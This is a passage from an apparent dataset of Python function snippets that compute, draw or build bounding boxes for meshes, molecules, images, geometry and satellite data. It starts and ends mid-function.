self.__do_essential_memebers_exist__()\\n\\n ndim = self.InferSpatialDimension()\\n all_elem_coords = self.points[self.elements]\\n mins = all_elem_coords.min(axis=1)\\n maxs = all_elem_coords.max(axis=1)\\n bboxes = np.zeros((2*self.nelem,self.points.shape[1]))\\n bboxes[::2] = mins\\n bboxes[1::2] = maxs\\n bboxes = bboxes.reshape(self.nelem,2,self.points.shape[1])\\n\\n if show_plot:\\n if ndim == 3:\\n point_generator = lambda bbox: np.array([\\n [ bbox[0,0], bbox[0,1], bbox[0,2] ],\\n [ bbox[1,0], bbox[0,1], bbox[0,2] ],\\n [ bbox[1,0], bbox[1,1], bbox[0,2] ],\\n [ bbox[0,0], bbox[1,1], bbox[0,2] ],\\n [ bbox[0,0], bbox[0,1], bbox[1,2] ],\\n [ bbox[1,0], bbox[0,1], bbox[1,2] ],\\n [ bbox[1,0], bbox[1,1], bbox[1,2] ],\\n [ bbox[0,0], bbox[1,1], bbox[1,2] ]\\n ])\\n elif ndim == 2:\\n point_generator = lambda bbox: np.array([\\n [ bbox[0,0], bbox[0,1] ],\\n [ bbox[1,0], bbox[0,1] ],\\n [ bbox[1,0], bbox[1,1] ],\\n [ bbox[0,0], bbox[1,1] ]\\n ])\\n\\n nsize = 4 if ndim ==2 else 8\\n ranger = np.arange(nsize)\\n bmesh = Mesh()\\n bmesh.element_type = \\\"quad\\\" if ndim ==2 else \\\"hex\\\"\\n bmesh.elements = np.arange(self.nelem*nsize).reshape(self.nelem,nsize)\\n bmesh.points = np.zeros((self.nelem*nsize,ndim))\\n bmesh.nelem = self.nelem\\n bmesh.nnode = bmesh.points.shape[0]\\n for i in range(0,self.nelem):\\n bmesh.points[i*nsize:(i+1)*nsize,:] = point_generator(bboxes[i])\\n\\n if ndim == 2:\\n import matplotlib.pyplot as plt\\n if figure is None:\\n figure = plt.figure()\\n self.SimplePlot(figure=figure, show_plot=False)\\n bmesh.SimplePlot(figure=figure, show_plot=False, edge_color='r')\\n plt.show()\\n else:\\n import os\\n os.environ['ETS_TOOLKIT'] = 'qt4'\\n from mayavi import mlab\\n if figure is None:\\n figure = mlab.figure(bgcolor=(1,1,1),fgcolor=(1,1,1),size=(1000,800))\\n self.SimplePlot(figure=figure, show_plot=False)\\n bmesh.SimplePlot(figure=figure, show_plot=False, plot_faces=False, edge_color='r')\\n mlab.show()\\n\\n return bboxes\",\n \"def bounding_box(self, index_or_id):\\n\\n\\t\\tcell_index = self.grid.insure_index(index_or_id)\\n\\n\\t\\tleft = self.cell_size[0] * cell_index[1] + self.origin[0]\\n\\t\\ttop = self.cell_size[1] * cell_index[0] + self.origin[1]\\n\\t\\tright = left + self.cell_size[0]\\n\\t\\tbottom = top + self.cell_size[1]\\n\\t\\treturn (left, top, right, bottom)\",\n \"def set_box(self) -> None:\\n from pymol import cmd\\n\\n # Delete Box object in PyMOL\\n if \\\"box\\\" in cmd.get_names(\\\"selections\\\"):\\n cmd.delete(\\\"box\\\")\\n # Get dimensions of selected residues\\n selection = \\\"sele\\\"\\n if selection in cmd.get_names(\\\"selections\\\"):\\n ([min_x, min_y, min_z], [max_x, max_y, max_z]) = cmd.get_extent(selection)\\n else:\\n ([min_x, min_y, min_z], [max_x, max_y, max_z]) = cmd.get_extent(\\\"\\\")\\n \\n # Get center of each dimension (x, y, z)\\n self.x = (min_x + max_x) / 2\\n self.y = (min_y + max_y) / 2\\n self.z = (min_z + max_z) / 2\\n\\n # Set Box variables in interface\\n self.min_x.setValue(round(self.x - (min_x - self.padding.value()), 1))\\n self.max_x.setValue(round((max_x + self.padding.value()) - self.x, 1))\\n self.min_y.setValue(round(self.y - (min_y - self.padding.value()), 1))\\n self.max_y.setValue(round((max_y + self.padding.value()) - self.y, 1))\\n self.min_z.setValue(round(self.z - (min_z - self.padding.value()), 1))\\n self.max_z.setValue(round((max_z + self.padding.value()) - self.z, 1))\\n self.angle1.setValue(0)\\n self.angle2.setValue(0)\\n\\n # Setting background box values\\n self.min_x_set = self.min_x.value()\\n self.max_x_set = self.max_x.value()\\n self.min_y_set = self.min_y.value()\\n self.max_y_set = self.max_y.value()\\n self.min_z_set = self.min_z.value()\\n self.max_z_set = self.max_z.value()\\n self.angle1_set = self.angle1.value()\\n self.angle2_set = self.angle2.value()\\n self.padding_set = self.padding.value()\\n\\n # Draw box\\n self.draw_box()\\n\\n # Enable/Disable buttons\\n self.button_draw_box.setEnabled(False)\\n self.button_redraw_box.setEnabled(True)\\n self.min_x.setEnabled(True)\\n self.min_y.setEnabled(True)\\n self.min_z.setEnabled(True)\\n self.max_x.setEnabled(True)\\n self.max_y.setEnabled(True)\\n self.max_z.setEnabled(True)\\n self.angle1.setEnabled(True)\\n self.angle2.setEnabled(True)\",\n \"def calc_bounding_box(self):\\n self.BB = self.geos.abs_el(0).BB\\n for geo in self.geos.abs_iter():\\n self.BB = self.BB.joinBB(geo.BB)\",\n \"def get_bound(box_list):\\n box_xyxy_list = []\\n for box in box_list:\\n box_xyxy = xywh2xyxy(box)\\n box_xyxy_list.append(box_xyxy)\\n\\n box_xyxy_list = np.array(box_xyxy_list)\\n x1max, y1max, x2max, y2max = np.amax(box_xyxy_list, axis=0)\\n x1min, y1min, x2min, y2min = np.amin(box_xyxy_list, axis=0)\\n\\n boundbox = xyxy2xywh([x1min, y1min, x2max, y2max])\\n return boundbox\",\n \"def bounding_box(self):\\n box_min = []\\n box_max = []\\n if self.is_empty():\\n raise ValueError('empty polytope is not allowed')\\n for i in range(0, self.space_dimension()):\\n x = Variable(i)\\n coords = [ v.coefficient(x) for v in self.generators() ]\\n max_coord = max(coords)\\n min_coord = min(coords)\\n box_max.append(max_coord)\\n box_min.append(min_coord)\\n return (tuple(box_min), tuple(box_max))\",\n \"def containing(*boxes):\\n if not boxes:\\n raise ValueError('At least one bounding box must be specified')\\n boxes_objs = map(BoundingBox, boxes)\\n start = boxes_objs[0].start\\n end = boxes_objs[0].end\\n for box in boxes_objs[1:]:\\n start = np.minimum(start, box.start)\\n end = np.maximum(end, box.end)\\n return BoundingBox(start=start, end=end)\",\n \"def _polygons_to_bboxes(polygons):\\n# Build bounding boxes\\n bboxes = np.empty([len(polygons), 4])\\n for n, p in enumerate(polygons):\\n try:\\n left, bottom = np.min(p, axis = 0)\\n except:\\n import pdb\\n pdb.set_trace()\\n right, top = np.max(p, axis = 0)\\n bboxes[n] = [left, bottom, right, top]\\n return bboxes\",\n \"def get_bounding_box(uv_coor, shape):\\r\\n\\txmin = ymin = 99999\\r\\n\\txmax = ymax = 0\\r\\n\\tfor x, y in uv_coor:\\r\\n\\t\\txmin = min(xmin, int(x))\\r\\n\\t\\txmax = max(xmax, int(x))\\r\\n\\t\\tymin = min(ymin, int(y))\\r\\n\\t\\tymax = max(ymax, int(y))\\r\\n\\txmin = max(0, xmin - 20)\\r\\n\\tymin = max(0, ymin - 20)\\r\\n\\r\\n\\txmax = min(shape[1], xmax + 20)\\r\\n\\tymax = min(shape[0], ymax + 20)\\r\\n\\r\\n\\treturn xmin, xmax, ymin, ymax\",\n \"def bounding_box(self):\\n if self._owcs.pixel_bounds is None:\\n if self._owcs.pixel_shape is not None:\\n nx, ny = self._owcs.pixel_shape\\n elif self._owcs.array_shape is not None:\\n ny, nx = self._owcs.array_shape\\n else:\\n return None\\n\\n return ((-0.5, nx - 0.5), (-0.5, ny - 0.5))\\n\\n else:\\n return self._owcs.pixel_bounds\",\n \"def bounding_box(self):\\n if self._owcs.pixel_bounds is None:\\n if self._owcs.pixel_shape is not None:\\n nx, ny = self._owcs.pixel_shape\\n elif self._owcs.array_shape is not None:\\n ny, nx = self._owcs.array_shape\\n else:\\n return None\\n\\n return ((-0.5, nx - 0.5), (-0.5, ny - 0.5))\\n\\n else:\\n return self._owcs.pixel_bounds\",\n \"def write_bounding_box(parameters, outfile, write_deformed=True):\\n aux_x = np.linspace(0, parameters.lenght_box[0],\\n parameters.n_control_points[0])\\n aux_y = np.linspace(0, parameters.lenght_box[1],\\n parameters.n_control_points[1])\\n aux_z = np.linspace(0, parameters.lenght_box[2],\\n parameters.n_control_points[2])\\n lattice_y_coords, lattice_x_coords, lattice_z_coords = np.meshgrid(\\n aux_y, aux_x, aux_z)\\n\\n if write_deformed:\\n box_points = np.array([ \\\\\\n lattice_x_coords.ravel() + parameters.array_mu_x.ravel() * parameters.lenght_box[0], \\\\\\n lattice_y_coords.ravel() + parameters.array_mu_y.ravel() * parameters.lenght_box[1], \\\\\\n lattice_z_coords.ravel() + parameters.array_mu_z.ravel() * parameters.lenght_box[2]])\\n else:\\n box_points = np.array([lattice_x_coords.ravel(), lattice_y_coords.ravel(), \\\\\\n lattice_z_coords.ravel()])\\n\\n n_rows = box_points.shape[1]\\n\\n box_points = np.dot(parameters.rotation_matrix, box_points) + \\\\\\n np.transpose(np.tile(parameters.origin_box, (n_rows, 1)))\\n\\n # step necessary to set the correct order to the box points for vtkStructuredGrid:\\n # Data in vtkStructuredGrid are ordered with x increasing fastest, then y, then z\\n dims = lattice_y_coords.shape\\n aux_xx = box_points[0, :].reshape(dims).ravel(order='f')\\n aux_yy = box_points[1, :].reshape(dims).ravel(order='f')\\n aux_zz = box_points[2, :].reshape(dims).ravel(order='f')\\n reordered_box_points = np.array((aux_xx, aux_yy, aux_zz))\\n\\n _write_vtk_box(reordered_box_points, outfile, parameters.n_control_points)\",\n \"def GetBounds(self, vtkAMRBox, , , p_float=..., p_float=..., p_float=..., p_float=..., p_float=..., p_float=...):\\n ...\",\n \"def bbox(self, node):\\n node_id = node.get('id')\\n #inkex.utils.debug(\\\"Check if \\\" + str(node_id) + \\\" is in \\\" + str(self.node_info))\\n info = self.node_info[node_id] \\n \\n x = info.x\\n y = info.y\\n width = info.width\\n height = info.height\\n\\n return Box(Point(x, y),\\n Point(x + width, y),\\n Point(x + width, y + height),\\n Point(x, y + height))\",\n \"def boundingBox(self):\\n pmodel = (glm.vec3(1, -self.y_sign, 0)\\n * self.model.pos * self.transform.scale)\\n x, y, _ = self.transform.pos + pmodel\\n y += -self.y_sign * self.font.table['ascent'] * self.transform.scale[1]\\n return x, y, self.pixwidth(), self.pixheight()\",\n \"def create_bounds(self):\\n # Bounds should be created for\\n x0, y0 = (0, 0)\\n x1 = self.game_area_size[0]\\n y1 = self.game_area_size[1]\\n space = self.space\\n\\n borders = [\\n phy.Segment(space.static_body, phy.Vec2d(x0, y0), phy.Vec2d(x1, y0), 0),\\n phy.Segment(space.static_body, phy.Vec2d(x0, y0), phy.Vec2d(x0, y1), 0),\\n phy.Segment(space.static_body, phy.Vec2d(x1, y0), phy.Vec2d(x1, y1), 0),\\n phy.Segment(space.static_body, phy.Vec2d(x0, y1), phy.Vec2d(x1, y1), 0),\\n ]\\n for b in borders:\\n b.elasticity = 0.5\\n self.space.add(borders)\",\n \"def draw_bounding_box(self):\\n # Gets the bounding box\\n xmin, ymin, xmax, ymax = self.get_bounding_box()\\n\\n # Gets the actual coordinates\\n width = xmax - xmin\\n height = ymax - ymin\\n center_x = xmin + (width)/2\\n center_y = ymin + (height)/2\\n\\n arcade.draw_rectangle_outline(center_x, center_y, width, height, (255, 0, 0))\",\n \"def bounds(self):\\n frame_ = self.to_frame().total_bounds.flatten().tolist()\\n return BBox(\\n left=frame_[0], bottom=frame_[1], right=frame_[2], top=frame_[3]\\n )\",\n \"def create_node_bouding_box(node, bbox_name):\\n x1, y1, z1, x2, y2, z2 = cmds.exactWorldBoundingBox(node)\\n cube = cmds.polyCube()[0]\\n\\n # Get the centre point for each axis\\n centre_points = [\\n (x2 + x1) / 2.0,\\n (y2 + y1) / 2.0,\\n (z2 + z1) / 2.0\\n ]\\n\\n # Scale up the cube to fit.\\n bbox_scale = [\\n x2 - x1,\\n y2 - y1,\\n z2 - z1\\n ]\\n\\n cmds.move(centre_points[0], centre_points[1], centre_points[2], cube)\\n cmds.scale(bbox_scale[0], bbox_scale[1], bbox_scale[2], cube)\\n\\n cube = cmds.ls(cube, long=True)\\n bbox = cmds.rename(cube, bbox_name)\\n\\n return bbox\",\n \"def bounds(self):\\n return self._bboxes[0][0] #TODO: merge all coverages\",\n \"def bounding_box(safe, priority='reference', polarization='hh', orbits='Orbits', epsg=4326):\\n frames = []\\n for swath in range(1, 4):\\n rdr = Sentinel1()\\n rdr.configure()\\n rdr.safe = [os.path.abspath(safe)]\\n rdr.output = priority\\n rdr.orbitDir = os.path.abspath(orbits)\\n rdr.auxDir = os.path.abspath(orbits)\\n rdr.swathNumber = swath\\n rdr.polarization = polarization\\n rdr.parse()\\n frames.append(rdr.product)\\n\\n first_burst = frames[0].bursts[0]\\n sensing_start = min([x.sensingStart for x in frames])\\n sensing_stop = max([x.sensingStop for x in frames])\\n starting_range = min([x.startingRange for x in frames])\\n far_range = max([x.farRange for x in frames])\\n range_pixel_size = first_burst.rangePixelSize\\n prf = 1.0 / first_burst.azimuthTimeInterval\\n\\n orb = Orbit()\\n orb.configure()\\n\\n for state_vector in first_burst.orbit:\\n orb.addStateVector(state_vector)\\n\\n for frame in frames:\\n for burst in frame.bursts:\\n for state_vector in burst.orbit:\\n if state_vector.time < orb.minTime or state_vector.time > orb.maxTime:\\n orb.addStateVector(state_vector)\\n\\n obj = Geogrid()\\n obj.configure()\\n\\n obj.startingRange = starting_range\\n obj.rangePixelSize = range_pixel_size\\n obj.sensingStart = sensing_start\\n obj.prf = prf\\n obj.lookSide = -1\\n obj.numberOfLines = int(np.round((sensing_stop - sensing_start).total_seconds() * prf))\\n obj.numberOfSamples = int(np.round((far_range - starting_range)/range_pixel_size))\\n obj.orbit = orb\\n obj.epsg = epsg\\n\\n obj.determineBbox()\\n\\n lat_limits = obj._xlim\\n lon_limits = obj._ylim\\n\\n log.info(f'Latitude limits [min, max]: {lat_limits}')\\n log.info(f'Longitude limits [min, max]: {lon_limits}')\\n\\n return lat_limits, lon_limits\",\n \"def bbox(self):\\n lower = (self.x.min(), self.y.min())\\n upper = (self.x.max(), self.y.max())\\n return (lower, upper)\",\n \"def create(cls, boxCon):\\n\\t\\tarray = boxCon.tolist()\\n\\t\\tstartX = min(boxCon, key = lambda vertex : vertex[0][0])[0][0]\\n\\t\\tendX = max(boxCon, key = lambda vertex : vertex[0][0])[0][0]\\n\\t\\tstartY = min(boxCon, key = lambda vertex : vertex[0][1])[0][1]\\n\\t\\tendY = max(boxCon, key = lambda vertex : vertex[0][1])[0][1]\\n\\t\\tbox = cls(startX, startY, endX - startX, endY - startY)\\n\\t\\treturn box\",\n \"def boundingbox(self, *args, **kwargs):\\n return _image.image_boundingbox(self, *args, **kwargs)\",\n \"def calculate_bounding_box(coordinates, backbone_trace = []):\\n coords = numpy.array(coordinates)\\n if(len(backbone_trace)>0):\\n [max_x,max_y,max_z] = numpy.max([numpy.max(numpy.max(coords,1),0).tolist()]+[numpy.max(backbone_trace,0).tolist()],0)\\n [min_x,min_y,min_z] = numpy.min([numpy.min(numpy.min(coords,1),0).tolist()]+[numpy.min(backbone_trace,0).tolist()],0)\\n else:\\n [max_x,max_y,max_z] = numpy.max(numpy.max(coords,1),0)\\n [min_x,min_y,min_z] = numpy.min(numpy.min(coords,1),0)\\n\\n center = numpy.array([min_x,min_y,min_z]) + ((numpy.array([max_x,max_y,max_z])-numpy.array([min_x,min_y,min_z])) /2.)\\n return ([[max_x, max_y, max_z],\\n [max_x, max_y, min_z],\\n [max_x, min_y, max_z],\\n [max_x, min_y, min_z],\\n [min_x, max_y, max_z],\\n [min_x, max_y, min_z],\\n [min_x, min_y, max_z],\\n [min_x, min_y, min_z]], center.tolist(), [max_x,max_y,max_z])\",\n \"def make_box(self, name=None) -> 'Box':\\n\\n if self.size().x == 0:\\n box = Rect(self.size().z, self.size().y, name=name)\\n box.ry(90)\\n elif self.size().y == 0:\\n box = Rect(self.size().x, self.size().z, name=name)\\n box.rx(90)\\n elif self.size().z == 0:\\n box = Rect(self.size().x, self.size().y, name=name)\\n else:\\n box = Box(*self.size().asArray(), name=name)\\n\\n box.place(\\n ~box == ~self,\\n ~box == ~self,\\n ~box == ~self)\\n return box\",\n \"def _initialise_aabb(self):\\n # calculate the bounding box for all tetraherdon in the mesh\\n # find the min/max extents for xyz\\n tetra_bb = np.zeros((self.elements.shape[0], 19, 3))\\n minx = np.min(self.nodes[self.elements[:, :4], 0], axis=1)\\n maxx = np.max(self.nodes[self.elements[:, :4], 0], axis=1)\\n miny = np.min(self.nodes[self.elements[:, :4], 1], axis=1)\\n maxy = np.max(self.nodes[self.elements[:, :4], 1], axis=1)\\n minz = np.min(self.nodes[self.elements[:, :4], 2], axis=1)\\n maxz = np.max(self.nodes[self.elements[:, :4], 2], axis=1)\\n cell_indexes = self.aabb_grid.global_index_to_cell_index(\\n np.arange(self.aabb_grid.n_elements)\\n )\\n corners = self.aabb_grid.cell_corner_indexes(cell_indexes)\\n positions = self.aabb_grid.node_indexes_to_position(corners)\\n ## Because we known the node orders just select min/max from each\\n # coordinate. Use these to check whether the tetra is in the cell\\n x_boundary = positions[:, [0, 1], 0]\\n y_boundary = positions[:, [0, 2], 1]\\n z_boundary = positions[:, [0, 6], 2]\\n a = np.logical_and(\\n minx[None, :] > x_boundary[:, None, 0],\\n minx[None, :] < x_boundary[:, None, 1],\\n ) # min point between cell\\n b = np.logical_and(\\n maxx[None, :] < x_boundary[:, None, 1],\\n maxx[None, :] > x_boundary[:, None, 0],\\n ) # max point between cell\\n c = np.logical_and(\\n minx[None, :] < x_boundary[:, None, 0],\\n maxx[None, :] > x_boundary[:, None, 0],\\n ) # min point < than cell & max point > cell\\n\\n x_logic = np.logical_or(np.logical_or(a, b), c)\\n\\n a = np.logical_and(\\n miny[None, :] > y_boundary[:, None, 0],\\n miny[None, :] < y_boundary[:, None, 1],\\n ) # min point between cell\\n b = np.logical_and(\\n maxy[None, :] < y_boundary[:, None, 1],\\n maxy[None, :] > y_boundary[:, None, 0],\\n ) # max point between cell\\n c = np.logical_and(\\n miny[None, :] < y_boundary[:, None, 0],\\n maxy[None, :] > y_boundary[:, None, 0],\\n ) # min point < than cell & max point > cell\\n\\n y_logic = np.logical_or(np.logical_or(a, b), c)\\n\\n a = np.logical_and(\\n minz[None, :] > z_boundary[:, None, 0],\\n minz[None, :] < z_boundary[:, None, 1],\\n ) # min point between cell\\n b = np.logical_and(\\n maxz[None, :] < z_boundary[:, None, 1],\\n maxz[None, :] > z_boundary[:, None, 0],\\n ) # max point between cell\\n c = np.logical_and(\\n minz[None, :] < z_boundary[:, None, 0],\\n maxz[None, :] > z_boundary[:, None, 0],\\n ) # min point < than cell & max point > cell\\n\\n z_logic = np.logical_or(np.logical_or(a, b), c)\\n logic = np.logical_and(x_logic, y_logic)\\n logic = np.logical_and(logic, z_logic)\\n\\n self.aabb_table = csr_matrix(logic)\",\n \"def get_bbox(self):\\n z2p = 64 # zoomFactor to bbox radius in pixels @ MIP0\\n pos = Vec(*self.get_position())\\n zoom = self.get_zoom()\\n return Bbox(pos-Vec(z2p*zoom, z2p*zoom, 0), \\n pos+Vec(z2p*zoom, z2p*zoom, 1))\",\n \"def create_grid(self):\\n # Domain definition\\n network = pp.FractureNetwork2d(self.frac_pts.T, self.frac_edges.T, domain=self.box)\\n gb = network.mesh(self.mesh_args) \\n pp.contact_conditions.set_projections(gb)\\n\\n self.gb = gb\\n self.Nd = self.gb.dim_max()\\n self._Nd = self.gb.dim_max()\\n g2d = self.gb.grids_of_dimension(2)[0]\\n self.min_face = np.copy(self.mesh_size) #np.min(g2d.face_areas)\\n self.min_cell = np.min(g2d.cell_volumes)\\n self.p, self.t = analysis.adjustmesh(g2d, self.tips, self.GAP)\\n self.displacement = self.p*0\\n self.fa_no = g2d.face_nodes.indices.reshape((2, g2d.num_faces), order='f').T \\n return gb\",\n \"def get_bounding_box(self):\\n if len(self.elements) == 0:\\n return None\\n if not (self._bb_valid and\\n all(ref._bb_valid for ref in self.get_dependencies(True))):\\n bb = numpy.array(((1e300, 1e300), (-1e300, -1e300)))\\n all_polygons = []\\n for element in self.elements:\\n if isinstance(element, PolygonSet):\\n all_polygons.extend(element.polygons)\\n elif isinstance(element, CellReference) or isinstance(\\n element, CellArray):\\n element_bb = element.get_bounding_box()\\n if element_bb is not None:\\n bb[0, 0] = min(bb[0, 0], element_bb[0, 0])\\n bb[0, 1] = min(bb[0, 1], element_bb[0, 1])\\n bb[1, 0] = max(bb[1, 0], element_bb[1, 0])\\n bb[1, 1] = max(bb[1, 1], element_bb[1, 1])\\n if len(all_polygons) > 0:\\n all_points = numpy.concatenate(all_polygons).transpose()\\n bb[0, 0] = min(bb[0, 0], all_points[0].min())\\n bb[0, 1] = min(bb[0, 1], all_points[1].min())\\n bb[1, 0] = max(bb[1, 0], all_points[0].max())\\n bb[1, 1] = max(bb[1, 1], all_points[1].max())\\n self._bb_valid = True\\n _bounding_boxes[self] = bb\\n return _bounding_boxes[self]\",\n \"def getBoundingBox(cls, dagPath):\\n\\n box = BoundingBox3D()\\n box.fromExactWorldBoundingBox(cmds.exactWorldBoundingBox(dagPath))\\n return box\",\n \"def create_box(self, a, b, c):\\n proj_to_xy = lambda x: x[:2]\\n get_angle = lambda x,y: (x @ y) / (np.linalg.norm(x) * np.linalg.norm(y))\\n\\n ab = proj_to_xy(b) - proj_to_xy(a)\\n ac = proj_to_xy(c) - proj_to_xy(a)\\n bc = proj_to_xy(c) - proj_to_xy(b)\\n\\n ab_ac = np.abs(get_angle(ab, ac))\\n ab_bc = np.abs(get_angle(ab, bc))\\n\\n x1, y1, z1 = a\\n x2, y2, z2 = b\\n x3, y3, z3 = c\\n\\n z = (z1 + z2)/2\\n\\n down = np.array([0., 0., z - z3])\\n\\n if ab_ac < ab_bc: # 3. point is bottom-left\\n back = np.array([ac[0], ac[1], 0])\\n else: # 3. point is bottom-right\\n back = np.array([bc[0], bc[1], 0])\\n\\n tfl = np.array([x1, y1, z])\\n tfr = np.array([x2, y2, z])\\n\\n tbl = tfl + back\\n tbr = tfr + back\\n\\n bfl = tfl - down\\n bfr = tfr - down\\n\\n bbl = bfl + back\\n bbr = bfr + back\\n\\n return np.array([\\n tfl, tfr,\\n tbl, tbr,\\n bfl, bfr,\\n bbl, bbr\\n ])\",\n \"def uv_bounds(self):\\n umin, umax, vmin, vmax = breptools_UVBounds(self.topods_shape())\\n bounds = Box(np.array([umin, vmin]))\\n bounds.encompass_point(np.array([umax, vmax]))\\n return bounds\",\n \"def draw_bbox(n):\\n return drawBbox(named(n))\",\n \"def bounding_box(points):\\n x, y, w, h = cv2.boundingRect(np.array([p for p in points]))\\n bounding = Box(x, y, w, h)\\n return bounding\",\n \"def bounding_box(molecule, colors=(1, 1, 1), linewidth=0.3):\\n pts = numpy_to_vtk_points(get_all_atomic_positions(molecule))\\n min_x, max_x, min_y, max_y, min_z, max_z = pts.GetBounds()\\n\\n lines = np.array(\\n [\\n [[min_x, min_y, min_z], [min_x, min_y, max_z]],\\n [[min_x, max_y, min_z], [min_x, max_y, max_z]],\\n [[max_x, min_y, min_z], [max_x, min_y, max_z]],\\n [[max_x, max_y, min_z], [max_x, max_y, max_z]],\\n [[min_x, min_y, min_z], [max_x, min_y, min_z]],\\n [[min_x, max_y, min_z], [max_x, max_y, min_z]],\\n [[min_x, max_y, max_z], [max_x, max_y, max_z]],\\n [[min_x, min_y, max_z], [max_x, min_y, max_z]],\\n [[min_x, min_y, min_z], [min_x, max_y, min_z]],\\n [[max_x, min_y, min_z], [max_x, max_y, min_z]],\\n [[min_x, min_y, max_z], [min_x, max_y, max_z]],\\n [[max_x, min_y, max_z], [max_x, max_y, max_z]],\\n ]\\n )\\n\\n return streamtube(lines, colors=colors, linewidth=linewidth)\",\n \"def make_wander_box(self):\\n x = int(self.location[0])\\n y = int(self.location[1])\\n box_list = []\\n box_rects = []\\n\\n for i in range(x-3, x+4):\\n box_list.append([i, y-3])\\n box_list.append([i, y+3])\\n\\n for i in range(y-2, y+3):\\n box_list.append([x-3, i])\\n box_list.append([x+3, i])\\n\\n for box in box_list:\\n left = box[0]*32\\n top = box[1]*32\\n box_rects.append(pg.Rect(left, top, 32, 32))\\n\\n return box_rects\",\n \"def _boundRect(self):\\n addresstamp = reduce(lambda x, y: x + y, [v.addresstamp for v in self.footprints])\\n self.upperleft = list(map(min, zip(*addresstamp)))\\n self.bottomright = list(map(max, zip(*addresstamp)))\\n self.upperright = [self.bottomright[0], self.upperleft[1]]\\n self.bottomleft = [self.upperleft[0], self.bottomright[1]]\\n (self.width, self.height) = (self.upperright[0] - self.bottomleft[0], self.bottomleft[1] - self.upperright[1])\\n assert self.width >= 0\\n assert self.height >= 0\\n self.center = [self.upperleft[0] + self.width / float(2), self.upperleft[1] + self.height / float(2)]\\n self.corners = [self.upperright, self.bottomleft, self.upperleft, self.bottomright]\",\n \"def get_box_coordinates(self):\\n return QRect(self.box_begin,self.box_end)\",\n \"def bounding_box(self, integral=False):\\n box_min = []\\n box_max = []\\n if self.n_vertices==0:\\n raise ValueError('Empty polytope is not allowed')\\n for i in range(0,self.ambient_dim()):\\n coords = [ v[i] for v in self.Vrep_generator() ]\\n max_coord = max(coords)\\n min_coord = min(coords)\\n if integral:\\n box_max.append(ceil(max_coord))\\n box_min.append(floor(min_coord))\\n else:\\n box_max.append(max_coord)\\n box_min.append(min_coord)\\n return (tuple(box_min), tuple(box_max))\",\n \"def boundary(self): # -> BaseGeometry:\\n ...\",\n \"def get_bounding_box(current_building_contour):\\n x, y, w, h, = cv.boundingRect(current_building_contour[0])\\n return x, y, w, h\",\n \"def _boundRect(self):\\n self.upperleft = list(map(min, zip(*self.addresstamp)))\\n self.bottomright = list(map(max, zip(*self.addresstamp)))\\n self.upperright = [self.bottomright[0], self.upperleft[1]]\\n self.bottomleft = [self.upperleft[0], self.bottomright[1]]\\n (self.width, self.height) = (self.upperright[0] - self.bottomleft[0], self.bottomleft[1] - self.upperright[1])\\n assert self.width >= 0\\n assert self.height >= 0\\n self.center = [self.upperleft[0] + self.width / float(2), self.upperleft[1] + self.height / float(2)]\\n self.corners = [self.upperright, self.bottomleft, self.upperleft, self.bottomright]\",\n \"def box(self) -> math.Box:\\n area = self.__dict__[\\\"area\\\"]\\n if area is None:\\n return math.Box()\\n return math.Box(math.Point(*area[:2]), math.Point(*area[-2:]))\",\n \"def __init__(self, bbox, min_h=0, max_h=2):\\r\\n self.classname = \\\"not_set\\\"\\r\\n self.points = None\\r\\n self.bbox_center = [bbox[0], bbox[1], (max_h + min_h)/2]\\r\\n self.bbox_size = [bbox[2], bbox[3], max_h - min_h]\\r\\n self.cos_t = bbox[4]\\r\\n self.sin_t = bbox[5]\\r\\n self.bbox = get_bbox_properties(self, min_h, max_h)\",\n \"def _decode_bbox(self, normalized_bbox):\\n #apply the inverse of transformation\\n y1,x1,y2,x2 = preprocess.apply_transformation(normalized_bbox,\\n np.linalg.inv(self.transformation))\\n\\n w,h = self.image_size\\n y1,x1,y2,x2 = y1*h,x1*w,y2*h,x2*w\\n return vot.Rectangle(x1,y1,x2-x1,y2-y1)\",\n \"def from_xywh(\\n label: str, \\n xmid: float, \\n ymid: float, \\n width: float, \\n height: float, \\n confidence: float = None\\n ) -> \\\"BoundingBox\\\":\\n mid_w = width / 2\\n mid_h = height / 2\\n\\n xmin = xmid - mid_w\\n ymin = ymid - mid_h\\n xmax = xmid + mid_w\\n ymax = ymid + mid_h\\n\\n return BoundingBox(label, xmin, ymin, xmax, ymax, confidence)\",\n \"def GetBox(quad):\\n x0, y0, _, _, x1, y1, _, _ = quad\\n return (x0, y0, x1, y1)\",\n \"def bounds(self) -> Box:\\n raise NotImplementedError()\",\n \"def get_final_bounding_box(boxes, nms_idx, width: int, height: int):\\n x1 = np.inf\\n y1 = np.inf\\n x2 = -np.inf\\n y2 = -np.inf\\n\\n bx = [boxes[i] for i in nms_idx]\\n for box in bx:\\n xmin = np.min(box[[0, 2]])\\n xmax = np.max(box[[0, 2]])\\n ymin = np.min(box[[1, 3]])\\n ymax = np.max(box[[1, 3]])\\n\\n x1 = np.min([xmin, x1])\\n y1 = np.min([ymin, y1])\\n x2 = np.max([xmax, x2])\\n y2 = np.max([ymax, y2])\\n return x1, y1, x2, y2\",\n \"def getBoundingBox(self):\\n lX, lY = self.lX(), self.lY()\\n return min(lX), min(lY), max(lX), max(lY)\",\n \"def __init__(self, boxCoord):\\n self.boxCoord =boxCoord\\n v1 = self.boxCoord[0] \\n \\n self.xmin = v1[0]\\n self.ymin = v1[1]\\n self.zmin =v1[2]\\n\\n v8 = self.boxCoord[7] \\n \\n self.xmax = v8[0]\\n self.ymax = v8[1]\\n self.zmax = v8[2]\\n\\n x = abs(self.xmax-self.xmin)\\n y = abs(self.ymax-self.ymin)\\n z = abs(self.zmax-self.zmin)\\n\\n XYZBox.__init__(self, x,y,z)\",\n \"def return_bbox_image(self, image, bboxes, label, color):\\n if bboxes:\\n for obj in bboxes:\\n image = self.draw_single_bbox(image, obj.position_xywh, label=label, color=color)\\n\\n return image\",\n \"def bounding_box(self, grid=1):\\n supp = self.support\\n grid = [np.linspace(s[0], s[1], grid+1) for s in supp]\\n X = self.grid_eval(grid)\\n X.shape = (-1, self.dim)\\n return tuple((X[:, d].min(), X[:, d].max()) for d in range(self.dim))\",\n \"def cube_from_bbox(bbox):\\n cube = pm.polyCube(\\n width=bbox.width(),\\n height=bbox.height(),\\n depth=bbox.depth(),\\n ch=False\\n )\\n cube[0].setAttr('t', bbox.center())\\n return cube[0]\",\n \"def geotransform2bb(geotransform, nx, ny):\\n res = geotransform[1]\\n x_min = geotransform[0] - res/2\\n y_max = geotransform[3] + res/2\\n x_max = x_min + nx*res + res\\n y_min = y_max - ny*res - res\\n return BoundingBox(x_min, y_min, x_max, y_max)\",\n \"def make_yolo_bbox(width, height, x1, y1, x2, 